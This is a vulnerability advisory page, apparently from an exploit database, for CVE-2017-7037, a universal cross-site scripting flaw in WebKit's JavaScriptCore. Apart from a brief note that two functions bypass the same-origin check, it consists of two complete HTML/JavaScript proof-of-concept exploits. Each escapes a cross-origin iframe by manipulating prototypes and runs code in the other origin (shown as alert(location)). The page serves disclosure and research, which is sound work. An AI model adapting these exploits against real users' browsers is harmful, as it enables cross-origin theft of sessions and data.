WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive(CVE-2017-7037)

2017-07-2700:00:00

Root

www.seebug.org

0.061 Low

EPSS

Percentile

92.7%

JSON

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object’s prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin’s object.

PoC 1 - JSValue::putToPrimitive:

&lt;body&gt;
&lt;script&gt;

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () =&gt; {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `&lt;iframe&gt;&lt;/iframe&gt;&lt;script&gt;
Object.prototype.__defineSetter__('test', v =&gt; {
    'a' + v;
});

&lt;/scrip` + `t&gt;`;

&lt;/script&gt;
&lt;/body&gt;

PoC 2 - JSObject::putInlineSlow:

&lt;body&gt;
&lt;script&gt;

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () =&gt; {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `&lt;iframe&gt;&lt;/iframe&gt;&lt;script&gt;
Object.prototype.__defineSetter__('test', v =&gt; {
    'a' + v;
});

&lt;/scrip` + `t&gt;`;
&lt;/script&gt;
&lt;/body&gt;